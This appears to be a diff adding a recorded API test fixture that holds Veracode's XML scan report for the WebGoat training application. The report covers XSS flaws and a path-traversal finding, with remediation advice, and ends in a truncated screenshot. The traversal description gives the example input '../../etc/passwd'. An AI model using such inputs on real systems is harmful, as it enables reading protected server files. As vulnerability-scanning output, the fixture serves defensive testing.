+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:07:55 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200073'
+      Date:
+      - Tue, 27 Oct 2015 12:07:58 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:07:57 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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